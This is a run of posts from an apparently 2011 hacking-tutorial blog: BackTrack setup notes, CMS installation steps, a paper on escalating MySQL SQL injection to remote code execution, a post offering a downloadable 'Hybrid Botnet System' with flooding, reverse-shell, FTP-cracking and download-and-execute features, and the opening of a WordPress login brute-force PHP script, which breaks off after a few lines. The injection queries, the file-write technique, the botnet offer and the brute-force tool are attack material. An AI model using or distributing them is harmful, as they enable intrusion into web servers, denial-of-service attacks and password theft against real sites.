BackTrack - Basic Usage

9/15/2011 rahlabs 0

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhBgoI8Vqq2A1nLFk97rZhbb4REMZNqb_mwGq-YxNva2dRBs2F-0R2fkqT6dUD6vX_NVWjk3Jp8gUXW4NvW_NYJ7LvghsuYRmU2W2fp_MiOk5djZFEfobxbILk6a5_X_XgW05Vgq9PNsmAI/s1600/backtrack.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhBgoI8Vqq2A1nLFk97rZhbb4REMZNqb_mwGq-YxNva2dRBs2F-0R2fkqT6dUD6vX_NVWjk3Jp8gUXW4NvW_NYJ7LvghsuYRmU2W2fp_MiOk5djZFEfobxbILk6a5_X_XgW05Vgq9PNsmAI/s400/backtrack.jpeg" width="400" /></a></div><h3>Login to BackTrack</h3><br />
Once the BackTrack is Installed, the default username and password required to log in are root / toor.<br />
NOTE: You will not be able to see the password as you type it.<br />
<br />
<h3>GUI</h3><ul><li>After login give startx command.</li>
<li>Getting Networking to work</li>
<li>Setting your IP manually</li></ul><br />
We will first set up the networking manually. In the following example we will assume the following addresses and their purpose:<br />
<div class="content shadow-radial">IP Address - 192.168.1.112/24<br />
  Default Gateway - 192.168.1.1<br />
  DNS server - 192.168.1.1</div><br /><br />
In order to set these up we will run the following commands:<br />
<div class="command wobble-horizontal">root@bt:~# ifconfig eth0 192.168.1.112/24<br />
  root@bt:~# route add default gw 192.168.1.1<br />
  root@bt:~# echo nameserver 192.168.1.1 > /etc/resolv.conf</div><br />
Getting a static IP to stick between reboots<br />
<br />
These settings however will only last until you reboot, so if we want to save them between reboots we need to edit the /etc/network/interfaces file like this:<br />
<div class="content shadow-radial"># This file describes the network interfaces available on your system<br />
  # and how to activate them. For more information, see interfaces(5).<br />
  # The loopback network interface<br />
  auto lo<br />
  iface lo inet loopback<br />
  # The primary network interface<br />
  auto eth0<br />
  iface eth0 inet static<br />
  address 192.168.1.112<br />
  netmask 255.255.255.0<br />
  network 192.168.1.0<br />
  broadcast 192.168.1.255<br />
  gateway 192.168.1.1</div><br />
Edit the file as appropriate, then have the network come up automatically at boot time:<br />
<br />
<div class="command wobble-horizontal">root@bt:~# update-rc.d networking defaults<br />
  root@bt:~# /etc/init.d/networking restart</div><br />
<h3>Getting an IP from DHCP</h3>In order to get an IP from a DHCP server we can issue the dhclient <interface> command as follows:<br />
<div class="command wobble-horizontal">root@bt:~# dhclient eth0<br />
  Internet Systems Consortium DHCP Client V3.1.1<br />
  Copyright 2004-2008 Internet Systems Consortium.<br />
  All rights reserved.<br />
  For info, please visit <a href="http://www.isc.org/sw/dhcp/">http://www.isc.org/sw/dhcp/</a> Listening on LPF/eth0/00:0c:29:81:74:21<br />
  Sending on LPF/eth0/00:0c:29:81:74:21<br />
  Sending on Socket/fallback<br />
  DHCPREQUEST of 192.168.1.112 on eth0 to 255.255.255.255 port 67<br />
  DHCPACK of 192.168.1.112 from 192.168.1.1<br />
  bound to 192.168.1.112 -- renewal in 37595 seconds.<br />
  root@bt:~#</div> Using the script to start networking<br />
There is a script to start networking in the /etc/init.d directory which attempts to start every interface listen in /etc/network/interfaces (you can remove the ones you don’t need). To start it issue the following command:<br />
<div class="command wobble-horizontal">root@bt:~# /etc/init.d/networking start</div><br />
<h3>WICD Network Manager</h3>Another way to set up your networking is using the WICD Network Manager, you can find it in the menu:<br />
Menu > Internet > Wicd Network Manager<br />
<br />
<h3>Changing the root password</h3>As you know Backtrack comes with a default username and password (root/toor) it is IMPORTANT that we change that root password especially when running services such as SSH. We can change the password by issuing the passwd command:<br />
<br />
<div class="command wobble-horizontal">root@bt:~# passwd Enter new UNIX password: {enter your new password here } Retype new UNIX password: {enter your new password again} passwd: password updated successfully <br />
  root@bt:~#</div><br />
<h3>Starting services</h3>BackTrack has various services such as Apache, SSH, MySQL, VNC, etc. They are all disabled by default. To start a service such as SSH, you can use the service init scripts. For example, to start the SSH service:<br />
<br />
<div class="command wobble-horizontal">root@bt:~# sshd-generate # Specific to the SSH service - needed to generate SSH keys<br />
  root@bt:~# /etc/init.d/ssh start<br />
  Starting OpenBSD Secure Shell server: sshd.<br />
  root@bt:~# /etc/init.d/ssh stop<br />
  Stopping OpenBSD Secure Shell server: sshd.<br />
  root@bt:~# </div><br /><br />
When using a ssh server for the first time on Backtrack you will need to generate keys:<br /><br />
<div class="command wobble-horizontal">root@bt:~# sshd-generate</div>To enable a service at boot time, you can use the update-rc.d command, for example, having SSH start at boot time:<br />
<div class="command wobble-horizontal">root@bt:~# update-rc.d -f ssh defaults<br />
  Adding system startup for /etc/init.d/ssh ...<br />
  /etc/rc0.d/K20ssh -> ../init.d/ssh<br />
  /etc/rc1.d/K20ssh -> ../init.d/ssh<br />
  /etc/rc6.d/K20ssh -> ../init.d/ssh<br />
  /etc/rc2.d/S20ssh -> ../init.d/ssh<br />
  /etc/rc3.d/S20ssh -> ../init.d/ssh<br />
  /etc/rc4.d/S20ssh -> ../init.d/ssh<br />
  /etc/rc5.d/S20ssh -> ../init.d/ssh<br />
  root@bt:~#</div><br />
<h3>Common apt commands</h3>apt-get install <package> Downloads <package> and all of its dependencies, and installs or upgrades them.<br />
apt-get remove [--purge] <package> Removes <package> and any packages that depend on it. --purge specifies that packages should be purged.<br />
apt-get update Updates packages listings from the repo, should be run at least once a week.<br />
apt-get upgrade Upgrades all currently installed packages with those updates available from the repo. should be run once a week.<br />
apt-get dist-upgrade [-u] Similar to apt-get upgrade, except that dist-upgrade will install or remove packages to satisfy dependencies.<br />
apt-cache search <pattern> Searches packages and descriptions for <pattern>.<br />
apt-cache show <package> Shows the full description of <package>.<br />
apt-cache showpkg <package> Shows a lot more detail about <package>, and its relationships to other packages.<br />
man apt Will give you more info on these commands as well as many that are in less common usage.<br />
<br />
<h3>Common dpkg commands</h3>dpkg -i <package.deb> Installs a package file; one that you downloaded manually, for example.<br />
dpkg -c <package.deb> Lists the contents of <package.deb> a .deb file.<br />
dpkg -I <package.deb> Extracts package information from <package.deb> a .deb file.<br />
dpkg -r <package> Removes an installed package named <package><br />
dpkg -P <package> Purges an installed package named <package>. The difference between remove and purge is that while remove only deletes data and executables, purge also deletes all configuration files in addition.<br />
dpkg -L <package> Gives a listing of all the files installed by <package>. See also dpkg -c for checking the contents of a .deb file.<br />
dpkg -s <package> Shows information on the installed package <package>. See also apt-cache show for viewing package information in the Debian archive and dpkg -I for viewing package information extracted from a .deb file.<br />
dpkg-reconfigure <package> Reconfigures an installed package<br />
man dpkg Will give you more info on these commands as well as many that are in less common usage.<br />
<br />
<h3>How do I find more information on a particular command or programs usage ?</h3>Most commands will have what is called a man page (manual page) which can be viewed by typing:<br />
<div class="command wobble-horizontal">root@bt:~# man <command you want more info on></div><br /><br />
Another very good resource on linux command usage can be found at <span class="system pop">linuxcommand.org </span>Some programs do not have a man page, but you can usually get more information on it's usage by typing: Just the program name without any arguements.<br />
or<br />
<div class="command wobble-horizontal">root@bt:~# <program name> -help </div><b>or </b> <div class="command wobble-horizontal">root@bt:~# <program name> --help</div><b> or </b><div class="command wobble-horizontal">root@bt:~# <program name> -h</div><br/><br />
Some programs use other methods, but they are usually just a variation of one of the above five commands.<br />
<br />
Regards,<br />
Hardeep Singh<br />
(<a href="http://www.fb.com/h4rdeep" target="_blank">www.fb.com/h4rdeep</a>)<br />
</div>

Login to BackTrack Once the BackTrack is Installed, the default username and password required to log in are root / toor. NOTE: You will n...

Make old Firefox Addons Compatible

9/10/2011 rahlabs 0

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgCkoSjgRSApvupKMaqOyBIN3pQG9eXoHahQPv8BHu2l2aF0Ho8puSk9lZPT4nngGI6zXL-QlatX_Ni4zZsCHN1zrDNRYuvBru_dxbbNdDSSab_G9CBRHSwcy3g3W9ZDut3iUgHWJAO29HS/s1600/firefox-add-ons.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="233" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgCkoSjgRSApvupKMaqOyBIN3pQG9eXoHahQPv8BHu2l2aF0Ho8puSk9lZPT4nngGI6zXL-QlatX_Ni4zZsCHN1zrDNRYuvBru_dxbbNdDSSab_G9CBRHSwcy3g3W9ZDut3iUgHWJAO29HS/s400/firefox-add-ons.jpg" width="400" /></a></div><br />
First Type <div class="command wobble-horizontal">about:config </div><br /><br />
On Address Bar and Press Enter<br />
Then it will ask with some damn Things.., Just Click "I'll be careful , I promise "<br />
Don't Do any thing with out this Tut..,<br />
i will not responsible if u Sucked it okay.. LOL<br />
After that Right Click ----> New ----> Boolean<br />
<br />
in there Type <br />
<div class="command wobble-horizontal">extensions.checkCompatibility.5.0 </div><br /><br />
As Picture Give Value as False and Ok.<br />
<br />
Thats all !!!.....<br />
<br />
Regards:<br />
<br />
Hardeep Singh<br />
( <a href="http://www.fb.com/h4rdeep">www.fb.com/h4rdeep</a> )</div>

Addons Firefox Linux Tutorials Tutorials Make old Firefox Addons Compatible

First Type about:config On Address Bar and Press Enter Then it will ask with some damn Things.., Just Click "I'll be careful , I...

Installation of drupal with lite commerce

9/10/2011 rahlabs 0

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj1axuQ6r_776CtEXL_so_FIlrKd8GXpbY5pOUZAaC7QYfX1BM3rBITb1kyRiXNrPaAc_0a5Kv2IhHR6wC7l3i4FLU76-E0BLx8PceTY1fFlwGI4w5ah7G6QD6AtUj8IXpCR_iVHIywmQAA/s1600/litecommerce.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="307" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj1axuQ6r_776CtEXL_so_FIlrKd8GXpbY5pOUZAaC7QYfX1BM3rBITb1kyRiXNrPaAc_0a5Kv2IhHR6wC7l3i4FLU76-E0BLx8PceTY1fFlwGI4w5ah7G6QD6AtUj8IXpCR_iVHIywmQAA/s640/litecommerce.jpg" width="640" /></a></div><br />
Installation of drupal with lite commerce<br />
<br />
<br />
1. Install WAMP/XAMPP.<br />
2. Download drupal+lc from <a href="http://www.litecommerce.com/download.html">http://www.litecommerce.com/download.html</a><br />
3. Have a look at the features of this suite at <a href="http://www.litecommerce.com/">http://www.litecommerce.com/</a><br />
4. Extract the files to root of your server. <br />
5. That is in htdocs folder in case of XAMPP or in www folder incase of WAMP.<br />
6. Open <a href="http://127.0.0.1/phpmyadmin">http://127.0.0.1/phpmyadmin</a> or <a href="http://localhost/phpmyadmin">http://localhost/phpmyadmin</a><br />
7. Create a database for your e-shop website.<br />
8. Navigate to the directory where you extracted drupal+lc package (<a href="http://localhost/drupal">http://localhost/drupal</a>)<br />
9. Installation of drupal+lc package will start automatically.<br />
10. Fill in all the details as instructed by web interface.<br />
11. Name of the database you just created.<br />
a. Name of the site.<br />
b. Database username and password.<br />
c. Forward as instructed.<br />
12. At the end you will be with a custom e-shop website.<br />
13. Login at <a href="http://localhost/drupal/index.php">http://localhost/drupal/index.php</a><br />
14. Fill in your admin username and password.<br />
15. Customize the layout and settings as par your need.<br />
<br />
<span class="Apple-style-span" style="color: black; font: x-small arial; letter-spacing: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;">Regards,<br />
Hardeep Singh<br />
(<a href="http://www.fb.com/h4rdeep" target="_blank">www.fb.com/h4rdeep</a>)<br />
</span><br />
</div>

Drupal e-Commerce LiteCommerce Web Development Installation of drupal with lite commerce

Installation of drupal with lite commerce 1. Install WAMP/XAMPP. 2. Download drupal+lc from http://www.litecommerce.com/download.html ...

Installation of os-commerce suite

9/05/2011 rahlabs 0

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEggxXaPgJOLB9_Px0uoRKxjyqE8tCBpdTw-5O6NMp7ckq4O_RhFwQlTSixstrudHPd7saqGGTgZi5swVEXchkIzqW2KjGjJHtRM_BjCgx3Z9P67ZhtSOyOMMcg-gC-0IK1WZBATYvcWbazw/s1600/oscommerce_logo.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEggxXaPgJOLB9_Px0uoRKxjyqE8tCBpdTw-5O6NMp7ckq4O_RhFwQlTSixstrudHPd7saqGGTgZi5swVEXchkIzqW2KjGjJHtRM_BjCgx3Z9P67ZhtSOyOMMcg-gC-0IK1WZBATYvcWbazw/s400/oscommerce_logo.jpg" width="400" /></a></div><br />
Installation of os-commerce suite<br />
<br />
<br />
1. Install WAMP/XAMPP.<br />
2. Download E-Commerce CMS from <a href="http://www.oscommerce.com/">http://www.oscommerce.com/</a><br />
3. Have a look at the features of the os-commerce suite. <a href="http://www.oscommerceindia.com/features.htm">http://www.oscommerceindia.com/features.htm</a><br />
4. It’s an open source e-commerce solution.<br />
5. Extract the files to root of your server. <br />
6. That is in htdocs folder in case of XAMPP or in www folder incase of WAMP.<br />
7. open <a href="http://127.0.0.1/phpmyadmin">http://127.0.0.1/phpmyadmin</a> or <a href="http://localhost/phpmyadmin">http://localhost/phpmyadmin</a><br />
8. Create a database for your e-shop website.<br />
9. Navigate to the directory where you extracted os-commerce package. (<a href="http://localhost/oscommerce">http://localhost/oscommerce</a>)<br />
10. Installation of os-commerce package will start automatically.<br />
11. Fill in all the details as instructed by web interface.<br />
a. Name of the database you just created.<br />
b. Name of the site.<br />
c. Database username and password.<br />
d. Forward as instructed.<br />
12. At the end you will be with a custom e-shop website. <br />
13. Login at <a href="http://localhost/oscommerce/index.php?admin">http://localhost/oscommerce/index.php?admin</a><br />
14. Fill in your admin username and password.<br />
15. Customize the layout and settings as par your need. <br />
<br />
<br />
<span class="Apple-style-span" style="color: black; font: x-small arial; letter-spacing: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;">Regards,<br />
Hardeep Singh<br />
(<a href="http://www.fb.com/h4rdeep" target="_blank">www.fb.com/h4rdeep</a>)<br />
</span><br />
</div>

e-Commerce os-commerce Web Development Installation of os-commerce suite

Installation of os-commerce suite 1. Install WAMP/XAMPP. 2. Download E-Commerce CMS from http://www.oscommerce.com/ 3. Have a look at ...

Advanced MySQL Exploitation

8/30/2011 rahlabs 0

<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_9alg5xdw56RFcJShPskwW7oPSTRHCougEqWGuHGuQWRUmJiBkdJkBLO9s-YcF2NBv7BgiospLZJg-js17g4smMd8_2uVBzvp3gwGbET0D7oEp3JCLc0H6rIrIGg7COM5iYIz2OWfGNuQ/s1600/mysql+compromised.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Advance Mysql Exploitation" border="0" height="343" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_9alg5xdw56RFcJShPskwW7oPSTRHCougEqWGuHGuQWRUmJiBkdJkBLO9s-YcF2NBv7BgiospLZJg-js17g4smMd8_2uVBzvp3gwGbET0D7oEp3JCLc0H6rIrIGg7COM5iYIz2OWfGNuQ/s400/mysql+compromised.jpg" title="Advance Mysql Exploitation" width="400" /></a></div>
<br />
Advanced Mysql Exploitation<br />
<br />
1Abstract...................................................................3<br />
2 Introduction .............................................................3<br />
3 Stacked Query.............................................................3<br />
4 Attacking MySQL on applications that do support stacked queries...........4<br />
5 Attacking MySQL on applications that do not support stacked queries.......5<br />
6 Fingerprinting the web server directory...................................7<br />
6.1 Fingerprint through error message method................................7<br />
6.2 Fingerprint by LOAD_FILE method....................................7<br />
7 Maximum size of arbitrary code allowed....................................7<br />
8 Arbitrary file compression/decompression .................................8<br />
9 Dealing with columns......................................................8<br />
10 Remote code execution on LAMP............................................9<br />
11 Remote code execution on WAMP............................................10<br />
References .................................................................11<br />
<h3>
1 Abstract</h3>
This document discusses in detail how SQL Injection vulnerabilities can be used to conduct remote code execution on the LAMP (Linux, Apache, MySQL, and PHP) or WAMP (Windows, Apache, MySQL and PHP) environments. Attackers performing SQL injection on a MySQL platform must deal with several limitations and constraints. For example, the lack of multiple statements in one query makes MySQL an unpopular platform for remote code execution, compared to other platforms. A lot of research has been performed in the last few years, concentrating on arbitrary code execution by attacking SQL Injection vulnerabilities. However, these types of attacks concentrate on the DBMS connectors that support stacked queries. This document will explain how different methods can be used to achieve the same result on a DBMS connector that does<br />
not support stacked queries.<br />
<h3>
2 Introduction</h3>
SQL injection is an attack where malicious code is injected into the SQL statement. SQL Injection attack allows a malicious user to retrieve the structure of the database and uncover information regarding the application’s operating environment. It has been proven that arbitrary code execution is the highest risk level a malicious user can achieve when conducting SQL injection attack. MySQL is a popular database server and acts as the database component of the LAMP (Linux, Apache, MySQL and PHP) and WAMP (Windows, Apache, MySQL and PHP) software stacks. DBMS connectors for this technology do not support stacked queries by default. This makes the same technique used to conduct remote code execution on platforms that support stacked queries, cannot be applied on this platform.<br />
<br />
<h3>
3 Stacked Query</h3>
Stacked query is a term to define if a database connection layer can execute more than one query at a time. Each query is separated by semicolon. The following example is an example of stacked queries in an SQL Injection attack:<br />
SELECT name FROM record WHERE id = 1; DROP table record; DROP table address--<br />
<br />
In the example above, there are three separate queries requested at one time. The first query is the actual query from the application. These queries are allowed when called within the database server. However, when this stacked query is called within the MySQL PHP application by default, an error message will be replayed back by the application and none of the queries will be executed.<br />
<h3>
4 Attacking MySQL on applications that do support stacked queries</h3>
It has been discovered that the MySQL UDF (User Define Function) library [4] creation technique, can be used to conduct remote code execution on applications which support stacked queries. This has been clearly explained by David Litchfield in The Database Hacker’s Handbook [5].<br />
At Blackhat Europe 2009, Bernando Damele explained the similar technique in detail. The steps below are taken from Bernando Damele’s whitepaper [6].<br />
1) Create a support table with one field, data-type longblob.<br />
2) Encode the local file content to its corresponding hexadecimal string.<br />
3) Split the hexadecimal encoded string into chunks long 1024 characters each<br />
4) INSERT [7] the first chunk into the support table's field.<br />
5) UPDATE [8] the support table's field by appending to the entry the chunks from the<br />
second to the last.<br />
<br />
<br />
6) Export the hexadecimal encoded file content from the support table's entry to the destination file path by using SELECT's INTO DUMPFILE [9] clause. This is possible because on MySQL, a query like SELECT 0x41 returns the corresponding ASCII character A. Here are some requirements to perform this action:<br />
1) DBMS connector must support stacked queries.<br />
2) Session user is required to have FILE [10], INSERT, CREATE [11] and UPDATE privileges.<br />
3) On some MySQL versions below 5.1.19, shared library [12] path must be writable by a session user. Prior knowledge of this directory is also required.<br />
4) On some MySQL versions 5.1.19 and above, system variable plugin_dir [13] must exist and be writable by a session user. Prior knowledge of this directory is also required.<br />
It has been known that there are some limitations to this technique. By default, MySQL Linux runs as a mysql user and the shared library path is not writable by this user.<br />
<br />
However, this behavior is not applied to MySQL on Windows. MySQL on Windows runsas a Local System user and by default, file created by this user can be overwritten onto any folder. For the recent versions of MySQL, the directory belonging to system variable plugin_dir does not exist. This directory is required to be created first and writable by a session user.<br />
<br />
<br />
<h3>
5 Attacking MySQL on applications that do not support stacked queries</h3>
Due to the unsupported stacked queries on MySQL-PHP platform, execution of another statement after the actual statement is not possible. However, execution of another SELECT statement is possible using UNION syntax [14]. UNION syntax is used to combine the result from multiple SELECT statements into a single result set. The statement below taken from MySQL 5.1 Refence Manual:<br />
SELECT<br />
[ALL | DISTINCT | DISTINCTROW ]<br />
[HIGH_PRIORITY]<br />
[STRAIGHT_JOIN]<br />
[SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT]<br />
[SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS]<br />
select_expr [, select_expr ...]<br />
[FROM table_references<br />
[WHERE where_condition]<br />
[GROUP BY {col_name | expr | position}<br />
[ASC | DESC], ... [WITH ROLLUP]]<br />
[HAVING where_condition]<br />
[ORDER BY {col_name | expr | position}<br />
[ASC | DESC], ...]<br />
[LIMIT {[offset,] row_count | row_count OFFSET offset}]<br />
[PROCEDURE procedure_name(argument_list)]6<br />
[INTO OUTFILE 'file_name' export_options<br />
| INTO DUMPFILE 'file_name'<br />
| INTO var_name [, var_name]]<br />
[FOR UPDATE | LOCK IN SHARE MODE]]<br />
<br />
It was discovered that only SELECT INTO DUMPFILE can be used to write arbitrary binary files onto the database server using UNION SELECT. When injecting this statement, only one statement can be used to create the whole file. Also, this file cannot be overwritten by calling another SELECT INTO DUMPFILE statement to write into the same file.<br />
The statement below taken from MySQL 5.1 Reference Manual:<br />
Only the last SELECT statement can use INTO OUTFILE/DUMPFILE. (However, the entire UNION result is written to the file.)<br />
Due to the nature of the UNION statement, results retrieved from the first query will be the first set of data to write into our arbitrary file.<br />
For example:<br />
SELECT content FROM data WHERE id=21 UNION SELECT 0x8A789C....... INTO DUMPFILE ‘file’<br />
If the first query returns any data, this data will overwrite the file header. To prevent this, we can inject any non existing value in the WHERE clause so no data would be extracted from the first query. This is to ensure that only our chosen data is written into the file. The file is also required to be located in a directory where we can execute it. In the case of a DBMS connector that does not support stacked queries, the best directory to upload this file onto an Apache web server directory. However, this is only possible in an environment where the MySQL database and Apache web server are on the same machine. By uploading onto the Apache web server directory, a PHP script can be used to execute the file using the SYSTEM function [15]. Here are some requirements to perform this action:<br />
1) Prior knowledge of the Apache web server directory.<br />
2) Session user is required to have FILE privilege.<br />
3) Session user is required to have access to write onto the web server directory.7<br />
<h3>
6 Fingerprinting the web server directory</h3>
In some cases where the web server root directory is not located in the default folder during the installation process, fingerprinting can be used to achieve this information. There are two methods that can be used to fingerprint the web server directory. It can be fingerprinted by forcing the application to return an error message or by loading the default<br />
location of the Apache configuration file.<br />
<br />
<br />
<h3>
6.1 Fingerprint through error message method</h3>
By default, custom error message is turned off by PHP. There are many ways to force the application to return an error message that contains internal information including the web server directory. For example, this error message can be generated by injecting a single quote as part of the SQL data. Here is an example of the error message returned by the<br />
PHP application when a single quote is injected, as part of the SQL data.<br />
Fatal error: Call to a member function execute() on a non-object in /var/www/output.php on line 15<br />
<br />
<h3>
6.2 Fingerprint through LOAD_FILE method</h3>
LOAD_FILE [16] can be used to read a file on the database server. To use this function, FILE privilege is required by the session user. The file must also be readable by all and its size must be less than max_allowed_packet bytes value in the Apache configuration file. A default apache configuration file meets this requirement. The DocumentRoot directive [17] in this file contains the path of the Apache web server root directory and can be used to disclose this information. Here is an example of the query to load an Apache configuration file on Apache version 2.2, in a default installation of Ubuntu Linux.<br />
SELECT LOAD_FILE('/etc/apache2/sites-available/default')<br />
7 Maximum size of arbitrary code allowed<br />
The LimitRequestLine directive [17] in the Apache configuration file allows the web server to reduce the size of an HTTP request . This includes all information passed in the query as part of the GET request. The default value for this directive is 8190 bytes. If the SQL Injection is discovered on the GET request and our query including the arbitrary code 8<br />
is larger than this value, Apache web server would response with the HTTP Status Code 414 and the request would not be processed. By default, the Apache web server sets the LimitRequestBody directive to 2GB [17]. This is the allowed size of an HTTP request message body. If the SQL Injection is discovered in a POST request, 2GB will give us enough room to upload our arbitrary code. Web application firewalls also have the ability to terminate a long request. This long request is normally detected as a buffer overflow attack.<br />
<br />
<h3>
8 Arbitrary file compression/decompression</h3>
PHP contains a module called Zlib [18] that can be used to read and write gzip compressed files. This module can be abused to compress the arbitrary file into a smaller file using the gzcompress function [19]. The Zlib module is able to compress our file from 9635 bytes to only 630 bytes. When the compressed file is successfully uploaded on the web server, gzuncompress function [20] can be used to decompress the file. However, this is only possible in an environment where the MySQL database and Apache web server are on the same machine.<br />
<br />
<h3>
9 Dealing with columns</h3>
A UNION clause will combine the result from multiple SELECT statements into a single result set. The two queries must have the same number of columns. Due to this reason, some unnecessary data will be added to our data which could potentially corrupt our file.<br />
For example:<br />
SELECT name, add, content FROM data WHERE id=21 UNION SELECT NULL,NULL, 0x8A789C....... INTO DUMPFILE ‘file’<br />
The result from the first query will be added into our compressed file. As mentioned in the section 5, we can inject any nonexisting value into the WHERE clause so there would be no data extracted from the first query. However, due to the extra columns required in this statement, any bad character data added into the first two columns also could potentially corrupt our file. To prevent our file header from being overwritten by any bad character data, we can add our data in the first column and inject any random data into the other columns as seen in the following example.<br />
9<br />
SELECT name, add, content FROM data WHERE id=4444 UNION SELECT 0x8A789C.........,0x00,0x00 INTO DUMPFILE ‘file’<br />
The first column in the example above is filled with our compressed arbitrary data. When Zlib library is used, the Adler32 checksum [21] will be found at the end of the compressed data in the first column . As mentioned in the RFC 1950 [22] , any data which may appear after the Adler32 checksum is not part of the Zlib stream. We can abuse this functionality by injecting any value into the other columns. This may help the compressed arbitrary file to be decompressed without having any issues.<br />
Another method is to ensure that all the arbitrary data is filled in sequence into all columns in the second query. It would not be an issue if one of the columns contains more data than the other columns as seen in the following example.<br />
SELECT name, add, content FROM data WHERE id=4444 UNION SELECT 0x8A, 0x78,0x9CED......9EEC....... INTO DUMPFILE ‘file’<br />
<br />
<h3>
10 Remote code execution on LAMP</h3>
Remote code execution on LAMP contains several limitations and constraints. By default, MySQL runs as a mysql user. Arbitrary files created through SELECT INTO DUMPFILE can only be uploaded onto the directory where the MySQL user is allowed to write onto. By default, the uploaded file is not executable but readable. This file also is owned by a mysql user. A PHP script can be used to read the file and write the same file content to a new file.<br />
This new file created is owned by the www-data user and the same PHP script can be used to change the permission of this file to be executable using the PHP SYSTEM function. To perform this action, this file needs to be uploaded onto the web server directory that is writable by MySQL and www-data users. By default, any directory created by other users are not writable by these users. In some cases, these directories are set to be writable. An example of this can be found in an application where a user is allowed to upload content onto the web server directories, through the file upload feature.<br />
If the writable directories can be discovered on the web server and the file is successfully uploaded, PHP script can be used to execute the malicious file using the PHP SYSTEM function.<br />
<h3>
11 Remote code execution on WAMP</h3>
Remote code execution on WAMP contains fewer limitations and constraints in order to function. By default, MySQL runs as a Local System user and files created through SELECT INTO DUMPFILE can be uploaded onto any of the web server directories. By<br />
default, this file is executable. Just like on the LAMP platform, PHP script can be used to execute the malicious file using the PHP SYSTEM function.</div>

Hacking Hacking Tutorials SQL Injection Tutorials Advanced MySQL Exploitation

Advanced Mysql Exploitation 1Abstract...................................................................3 2 Introduction ...............

Hybrid Botnet System v.1.0

8/25/2011 rahlabs 0

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8vBDwFpvUQOyW4bSYjLCytrVzxkvHNMuaEd4ci3-FtOGlWl5vAxvSnPy0bEmEDsfDb-3Ez38mXRP3ydz946kCy7ptKsVf3y-_0jphZhYKmrKGGjf-_VzpOumPy7dOjvjCbky21zfMKJqi/s1600/3110990762_e5fce1c74c.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="261" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8vBDwFpvUQOyW4bSYjLCytrVzxkvHNMuaEd4ci3-FtOGlWl5vAxvSnPy0bEmEDsfDb-3Ez38mXRP3ydz946kCy7ptKsVf3y-_0jphZhYKmrKGGjf-_VzpOumPy7dOjvjCbky21zfMKJqi/s320/3110990762_e5fce1c74c.jpg" width="320" /></a></div><br />
<br />
The Hybrid Botnet System contains a perl bot and web administration panel. It uses only one perl module and can easily be compiled to run on a Linux host<br />
<br />
1. Sleep<br />
2. TCP Storm<br />
3. SYN Storm<br />
4. UDP Storm<br />
5. Delete bot from remote machine<br />
6. Reverse Shell<br />
7. E.R.T.E<br />
8. FTP Crack<br />
9. Download & Execute<br />
Get-> <a href="http://www.mediafire.com/?xdy2qi55y3aanuc">http://www.mediafire.com/?xdy2qi55y3aanuc</a><br />
<br />
<span class="Apple-style-span" style="color: black; font: x-small arial; letter-spacing: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;">Regards,<br />
Hardeep Singh<br />
(<a href="http://www.fb.com/h4rdeep" target="_blank">www.fb.com/h4rdeep</a>)<br />
</span><br />
</div>

Botnet Malwares Hybrid Botnet System v.1.0

The Hybrid Botnet System contains a perl bot and web administration panel. It uses only one perl module and can easily be compiled to run ...

Wordpress Wp-admin Bruteforce

8/10/2011 rahlabs 0

<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhrAxW_vCxNhpDlFctGILWxnTfiNill89RGQwDyOuxsbdAsP_JQDPIdEgZfyDSaaT96GILYDbIhPRSWKrP20lOmsSDaodRXQPPYskMgaOsunCRAOoo-ec3Z6j5EgpWXof6HXj_3zLoiIHI/s1600/wordpress-admin-brute-force-attack.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="290" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhrAxW_vCxNhpDlFctGILWxnTfiNill89RGQwDyOuxsbdAsP_JQDPIdEgZfyDSaaT96GILYDbIhPRSWKrP20lOmsSDaodRXQPPYskMgaOsunCRAOoo-ec3Z6j5EgpWXof6HXj_3zLoiIHI/s1600/wordpress-admin-brute-force-attack.png" width="320" /></a></div>
<br />
<h3>
Wordpress Wp-admin Bruteforce</h3>
<div class="program glow">
<pre><code class="prettyprint"><?php 
class wp
{
public $site; 
public $password; 
public $wordlist; 
